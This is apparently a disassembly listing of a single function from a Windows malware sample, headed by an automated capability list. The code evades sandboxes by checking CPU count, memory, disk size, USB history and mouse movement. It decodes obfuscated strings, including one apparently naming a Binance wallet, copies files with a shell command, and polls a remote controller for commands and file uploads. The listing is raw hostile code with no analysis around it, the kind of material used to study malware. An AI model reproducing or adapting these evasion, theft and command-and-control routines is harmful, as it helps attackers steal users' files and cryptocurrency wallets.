Function at 0x140129330
Capabilities:
Check for unmoving mouse cursor
Get common file path
Get memory capacity
Get system information on windows
Query environment variable
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x518]
sub rsp, 0x5f0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
mov rax, qword [0x1403d0740]
xor rax, rsp
mov qword [rbp + 0x4a0], rax
movzx eax, byte [0x1403ad9f0]
lea rcx, [rbp + 0x30]
movsd xmm0, qword [str.NotFound]
mov r12, rdx
mov byte [rbp + 0xa8], al
mov sil, 1
movzx eax, byte [0x1403ada08]
mov byte [rbp + 0xd0], al
movzx eax, byte [0x1403ada20]
movsd qword [rbp + 0xa0], xmm0
movups xmm0, xmmword [str.fP6odD2ie__r5_s]
mov byte [rbp + 0xe8], al
mov eax, dword [0x1403ada38]
movups xmmword [rbp + 0xc0], xmm0
mov dword [rbp + 0x100], eax
movzx eax, byte [0x1403ada3c]
movups xmm0, xmmword [str.ePAweD2ie__r5_s]
mov byte [rbp + 0x104], al
movzx eax, byte [0x1403ada50]
movups xmmword [rbp + 0xd8], xmm0
mov byte [rbp + 0x130], al
movups xmm0, xmmword [str._PQpdj_sV_csbD2jd_::]
mov eax, dword [0x1403ada68]
mov dword [rbp + 0x118], eax
movzx eax, byte [0x1403ada6c]
movups xmmword [rbp + 0xf0], xmm0
mov byte [rbp + 0x11c], al
movups xmm0, xmmword [str.Z214cmdncjIxMDk]
movups xmmword [rbp + 0x120], xmm0
movups xmm0, xmmword [str.QmluYW5jZVdhbGxldA]
movups xmmword [rbp + 0x108], xmm0
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rbp + 0x50], 2
jae 0x140129458
mov ebx, 0xfffffffa
xor sil, sil
lea edi, [rbx - 3]
jmp 0x140129460
mov ebx, 6
lea edi, [rbx + 3]
lea rcx, [rbp + 0x60]
mov dword [rbp + 0x60], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov r14, qword [rbp + 0x68]
lea rcx, str..PhysicalDrive0
shr r14, 0x14
cmp r14d, 0x800
cmovae edi, ebx
xor ebx, ebx
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], ebx
xor edx, edx
mov dword [rsp + 0x20], 3
lea r8d, [rbx + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x38], rbx
lea rcx, [rbp + 0x28]
mov qword [rsp + 0x30], rcx
xor r9d, r9d
lea rcx, [rbp - 0x10]
mov dword [rsp + 0x28], 0x18
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, rax
mov edx, 0x70000
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov ecx, dword [rbp]
mov eax, dword [rbp - 4]
imul rax, rcx
mov ecx, dword [rbp + 4]
imul rax, rcx
imul rax, qword [rbp - 0x10]
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
mov r15, rax
cmp eax, 0x64
jb 0x14012951a
cmp r14d, 0x800
movzx eax, sil
cmovae ebx, eax
lea rax, [rbp - 0x18]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SYSTEMControlSet001EnumUSBSTOR
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rbp - 0x18]
lea rax, [rbp + 0x20]
xor esi, esi
xor r9d, r9d
mov qword [rsp + 0x58], rsi
xor r8d, r8d
mov qword [rsp + 0x50], rsi
xor edx, edx
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
cmp dword [rbp + 0x20], 2
jb 0x140129e67
test bl, bl
je 0x140129e67
call qword [sym.imp.KERNEL32.dll_FreeConsole]
lea rcx, [rbp + 0x20]
call qword [sym.imp.USER32.dll_GetCursorPos]
movsd xmm8, qword [0x1403adf60]
xorps xmm7, xmm7
movsd xmm9, qword [0x1403adf68]
nop word [rax + rax]
lea rcx, [rbp + 0x28]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov eax, dword [rbp + 0x28]
movaps xmm1, xmm8
sub eax, dword [rbp + 0x20]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
mov eax, dword [rbp + 0x2c]
movaps xmm6, xmm0
sub eax, dword [rbp + 0x24]
movaps xmm1, xmm8
movd xmm0, eax
cvtdq2pd xmm0, xmm0
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
addsd xmm6, xmm0
xorps xmm1, xmm1
ucomisd xmm1, xmm6
ja 0x140129611
xorps xmm0, xmm0
sqrtsd xmm0, xmm6
jmp 0x140129619
movaps xmm0, xmm6
call sub.api_ms_win_crt_math_l1_1_0.dll_sqrt
mov ecx, 0x64
addsd xmm7, xmm0
call qword [sym.imp.KERNEL32.dll_Sleep]
comisd xmm7, xmm9
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x20], rax
jbe 0x1401295c0
cmp r15d, 0x64
mov eax, 0xfffffff4
mov rcx, 0xffffffffffffffff
mov r13d, 0xfffffff6
cmovae eax, ecx
mov r8d, esi
add eax, edi
mov ecx, 1
cmp r15d, 0x64
mov r15, 0xffffffffffffffff
cmovae r13d, ecx
lea rcx, [rbp + 0xc0]
add r13d, edi
comisd xmm7, xmm9
cmovbe r13d, eax
mov rax, r15
nop
inc rax
cmp byte [rcx + rax], sil
jne 0x140129680
test rax, rax
je 0x1401296c1
lea rdx, [rbp + 0xc0]
xor byte [rdx], r13b
lea rdx, [rdx + 1]
inc r8d
lea rax, [rbp + 0xc0]
mov rcx, r15
nop dword [rax]
inc rcx
cmp byte [rax + rcx], sil
jne 0x1401296b0
movsxd rax, r8d
cmp rax, rcx
jb 0x140129695
mov r8d, esi
lea rcx, [rbp + 0xd8]
mov rax, r15
nop
inc rax
cmp byte [rcx + rax], sil
jne 0x1401296d0
test rax, rax
je 0x140129711
lea rdx, [rbp + 0xd8]
xor byte [rdx], r13b
lea rdx, [rdx + 1]
inc r8d
lea rax, [rbp + 0xd8]
mov rcx, r15
nop dword [rax]
inc rcx
cmp byte [rax + rcx], sil
jne 0x140129700
movsxd rax, r8d
cmp rax, rcx
jb 0x1401296e5
mov r8d, esi
lea rcx, [rbp + 0xf0]
mov rax, r15
nop
inc rax
cmp byte [rcx + rax], sil
jne 0x140129720
test rax, rax
je 0x140129761
lea rdx, [rbp + 0xf0]
xor byte [rdx], r13b
lea rdx, [rdx + 1]
inc r8d
lea rax, [rbp + 0xf0]
mov rcx, r15
nop dword [rax]
inc rcx
cmp byte [rax + rcx], sil
jne 0x140129750
movsxd rax, r8d
cmp rax, rcx
jb 0x140129735
lea rax, [rbp + 0xc0]
mov rdx, r15
nop dword [rax + rax]
inc rdx
cmp byte [rax + rdx], sil
jne 0x140129770
lea rcx, [rbp + 0xc0]
call fcn.14012b8a0
mov r8, rax
lea rdx, [0x1403ada70]
lea rcx, [rbp + 0x1a0]
call fcn.140129210
lea rax, [rbp + 0xd8]
mov rdx, r15
inc rdx
cmp byte [rax + rdx], sil
jne 0x1401297a5
lea rcx, [rbp + 0xd8]
call fcn.14012b8a0
mov r8, rax
lea rdx, [0x1403ada70]
lea rcx, [rbp + 0x220]
call fcn.140129210
lea rax, [rbp + 0xf0]
mov rdx, r15
nop word [rax + rax]
inc rdx
cmp byte [rax + rdx], sil
jne 0x1401297e0
lea rcx, [rbp + 0xf0]
call fcn.14012b8a0
mov r8, rax
lea rdx, [0x1403ada70]
lea rcx, [rbp + 0x160]
call fcn.140129210
lea rax, [rbp + 0x120]
mov rdx, r15
inc rdx
cmp byte [rax + rdx], sil
jne 0x140129815
lea rcx, [rbp + 0x120]
call fcn.14012b8a0
mov r8, rax
lea rdx, [0x1403ada70]
lea rcx, [rbp + 0x260]
call fcn.140129210
lea rax, [rbp + 0x108]
mov rdx, r15
nop word [rax + rax]
inc rdx
cmp byte [rax + rdx], sil
jne 0x140129850
lea rcx, [rbp + 0x108]
call fcn.14012b8a0
mov r8, rax
lea rdx, [0x1403ada70]
lea rcx, [rbp + 0x138]
call fcn.140129210
lea r9, [rbp + 0x160]
lea r8, [rbp + 0x220]
lea rdx, [rbp + 0x1a0]
lea rcx, str._s_n_s_n_s
call fcn.1401291b0
lea rax, [rbp + 0x1e0]
mov byte [rbp - 0x30], sil
mov qword [rbp - 0x38], rax
lea r8, [0x1403ada84]
lea rax, [rbp + 0x1a0]
mov qword [rbp - 0x50], rax
lea rdx, str.CoM_s
lea rax, [rbp + 0x160]
mov qword [rbp - 0x48], rax
lea rcx, [rbp + 0x2a0]
lea rax, [rbp + 0x260]
mov qword [rbp - 0x40], rax
call fcn.140129210
lea rcx, [rbp + 0x2a0]
dec rcx
cmp byte [rcx + 1], sil
lea rcx, [rcx + 1]
jne 0x1401298f0
mov eax, dword [str.ERnAMe]
mov dword [rcx], eax
movzx eax, word [0x1403ada94]
mov word [rcx + 4], ax
movzx eax, byte [0x1403ada96]
mov byte [rcx + 6], al
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov r8, rax
lea rdx, [0x1403ada70]
lea rcx, [rbp + 0x1e0]
call fcn.140129210
lea rax, [rbp + 0x3a0]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov edx, r13d
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jne 0x140129b00
lea eax, [r13*2 - 0xe]
movsxd rcx, eax
lea rdx, [rbp + 0x3a0]
mov rcx, qword [r12 + rcx*8]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x140129b00
mov eax, 0x7f
lea r9, [rbp + 0x138]
sub eax, r13d
lea r8, [rbp + 0x3a0]
lea rdx, str.__s_s.e_ce_
mov dword [rsp + 0x20], eax
lea rcx, [rbp + 0x2a0]
call fcn.140129210
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
je 0x140129b00
mov eax, r13d
movsxd rbx, r13d
xor eax, 0x7f
lea rdx, str.c_cpy___s____s_s.e_ce_
mov dword [rsp + 0x30], eax
lea rcx, [rbp + 0x2a0]
lea rax, [rbp + 0x138]
mov r8d, reloc.WS2_32.dll_WSAGetLastError
mov r9, qword [r12 + rbx*8 - 0x38]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x3a0]
mov qword [rsp + 0x20], rax
call fcn.140129210
xor rbx, 7
lea rdx, [0x1403adb74]
add rbx, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
lea rcx, [rbp + 0x2a0]
mov qword [0x1403d2c58], rbx
mov rdi, rsi
call rbx
mov rsi, rax
xor eax, eax
mov qword [rbp + 0xb0], rax
mov word [rbp + 0xb8], ax
lea ecx, [rax + 0xa]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8, rsi
lea rcx, [rbp + 0xb0]
mov rbx, rax
xor eax, eax
mov qword [rbx], rax
lea edx, [rax + 0xa]
mov word [rbx + 8], ax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
je 0x140129ae6
lea rcx, [rbx - 1]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140129a76
lea r8, [rbp + 0xb0]
xor edx, edx
nop dword [rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140129a90
lea rcx, [rbp + 0xb0]
mov rax, r15
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140129ab0
add rdi, rax
mov rcx, rbx
lea rdx, [rdi + 0xa]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
mov r8, rsi
lea rcx, [rbp + 0xb0]
mov edx, 0xa
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
jne 0x140129a72
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor esi, esi
nop word [rax + rax]
mov ecx, 0x4e20
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x50]
call fcn.14012a0f0
mov edx, dword [rbp - 0x2c]
test edx, edx
jne 0x140129e40
mov r8, qword [rbp - 0x20]
lea rcx, str._nCMD_found_:_n_s_n_nReturn_Addr_:_n_s_n_n
mov rdx, qword [rbp - 0x28]
call fcn.1401291b0
mov rcx, qword [rbp - 0x28]
lea rax, [rbp + 0x1e0]
mov qword [rsp + 0x78], rax
lea rdx, str._file_
lea rax, [rbp + 0x220]
mov qword [rbp - 0x68], rsi
mov qword [rsp + 0x60], rax
lea rax, [rbp + 0x160]
mov qword [rsp + 0x68], rax
lea rax, [rbp + 0x260]
mov qword [rsp + 0x70], rax
mov rax, qword [rbp - 0x20]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x60], rsi
mov dword [rbp - 0x58], esi
mov qword [rbp - 0x78], rcx
call qword [sym.imp.VCRUNTIME140.dll_strstr]
mov rcx, qword [rbp - 0x28]
test rax, rax
je 0x140129d21
lea rdx, str._file_
call qword [sym.imp.VCRUNTIME140.dll_strstr]
lea rdx, [rbp - 0x10]
lea rdi, [rax + 6]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
jne 0x140129c96
movsxd rcx, dword [rbp + 4]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rbp - 0x68], rax
mov rbx, rax
test rax, rax
je 0x140129c96
lea rdx, [0x1403adb70]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rsi, rax
test rax, rax
je 0x140129c96
movsxd r14, dword [rbp + 4]
mov r9, rax
mov rdx, r14
mov r8d, 1
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
cmp rax, 1
jne 0x140129c96
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov dword [rbp - 0x58], r14d
test r14d, r14d
jle 0x140129c96
mov edx, 0x5c
mov rcx, rdi
call qword [sym.imp.VCRUNTIME140.dll_strrchr]
test rax, rax
je 0x140129c4e
mov edx, 0x5c
mov rcx, rdi
call qword [sym.imp.VCRUNTIME140.dll_strrchr]
lea rdi, [rax + 1]
mov rcx, r15
inc rcx
cmp byte [rdi + rcx], 0
jne 0x140129c51
add rcx, 1
cmovb rcx, r15
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8, rdi
lea rdx, [0x1403ada70]
mov rcx, rax
mov qword [rbp - 0x60], rax
mov rbx, rax
call fcn.140129210
lea rdx, [0x1403adb20]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok]
jmp 0x140129dda
lea rax, [rbp + 0xa0]
mov rcx, r15
inc rcx
cmp byte [rax + rcx], 0
jne 0x140129ca0
inc rcx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rcx, rax
mov qword [rbp - 0x60], rax
lea r8, [rbp + 0xa0]
lea rdx, [0x1403ada70]
call fcn.140129210
lea rax, [rbp + 0xa0]
mov rcx, r15
inc rcx
cmp byte [rax + rcx], 0
jne 0x140129cd6
inc rcx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rcx, rax
mov qword [rbp - 0x68], rax
lea r8, [rbp + 0xa0]
lea rdx, [0x1403ada70]
call fcn.140129210
lea rcx, [rbp + 0xa0]
mov rax, r15
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140129d10
mov dword [rbp - 0x58], eax
jmp 0x140129dda
lea rdx, [0x1403adb24]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
je 0x140129dce
mov rcx, qword [rbp - 0x28]
lea rdx, [0x1403adb28]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
je 0x140129dce
mov r8, qword [rbp - 0x28]
mov r9d, esi
mov rax, r15
nop dword [rax + rax]
inc rax
cmp byte [r8 + rax], 0
jne 0x140129d60
test rax, rax
je 0x140129d99
mov rdx, r8
cmp byte [rdx], 0x5d
jne 0x140129d7a
mov byte [rdx], 0
inc r9d
mov rcx, r15
inc rdx
inc rcx
cmp byte [r8 + rcx], 0
jne 0x140129d83
movsxd rax, r9d
cmp rax, rcx
jb 0x140129d72
mov r8, qword [rbp - 0x28]
lea rdx, [0x1403adb24]
mov rcx, r8
call qword [sym.imp.VCRUNTIME140.dll_strstr]
lea rcx, str.CMD_received_:__s_n
mov rbx, rax
lea rdx, [rax + 1]
call fcn.1401291b0
mov r8d, r13d
lea rdx, [rbp - 0x68]
lea rcx, [rbx + 1]
call fcn.140129ec0
jmp 0x140129dda
lea rcx, str.Non_valid_message_body
call fcn.1401291b0
lea rcx, [rsp + 0x60]
call fcn.14012aa70
cmp dword [rbp - 0x80], 0
jne 0x140129df6
lea rcx, str.Response_sent_n
call fcn.1401291b0
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x140129e05
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x140129e14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rbp - 0x68]
test rcx, rcx
je 0x140129e23
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rbp - 0x60]
mov esi, 0
test rcx, rcx
je 0x140129b00
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140129b00
cmp edx, 5
jne 0x140129e56
lea rcx, str.No_message_for_us..._n_n
call fcn.1401291b0
jmp 0x140129b00
lea rcx, str.An_error_occured_:__d_n_n
call fcn.1401291b0
jmp 0x140129b00
mov ecx, 0x4e20
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov rcx, qword [rbp + 0x4a0]
xor rcx, rsp
call fcn.1402f6590
lea r11, [rsp + 0x5f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret